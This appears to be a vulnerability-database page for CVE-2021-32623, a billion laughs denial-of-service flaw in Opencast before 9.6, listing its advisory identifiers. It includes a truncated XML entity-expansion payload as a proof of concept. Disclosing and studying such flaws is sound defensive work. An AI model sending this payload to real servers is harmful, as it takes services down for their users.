cnvd-2021-51326

EUVD-2026-27998

fkie_cve-2021-32623

Opencast is a free and open source solution for automated video capture and distribution. Versions of Opencast prior to 9.6 are vulnerable to the billion laughs attack, which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request. To exploit this, users need to have ingest privileges, limiting the group of potential attackers The problem has been fixed in Opencast 9.6. There is no known workaround for this issue.

GHSA-9gwx-9cwp-5c2m — Billion laughs attack (XML bomb)

Affected: Maven: org.opencastproject:opencast-kernel

### Impact

Opencast is vulnerable to the [Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.

Consider an XML file (`createMediaPackage.xml`) like this:

```xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE lolz [ <!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. "> <!ELEMENT title (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> ]> <mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400…

Most recent entries from all

cnvd-2021-51326

EUVD-2026-27998

fkie_cve-2021-32623

GHSA-9gwx-9cwp-5c2m — Billion laughs attack (XML bomb)

gsd-2021-32623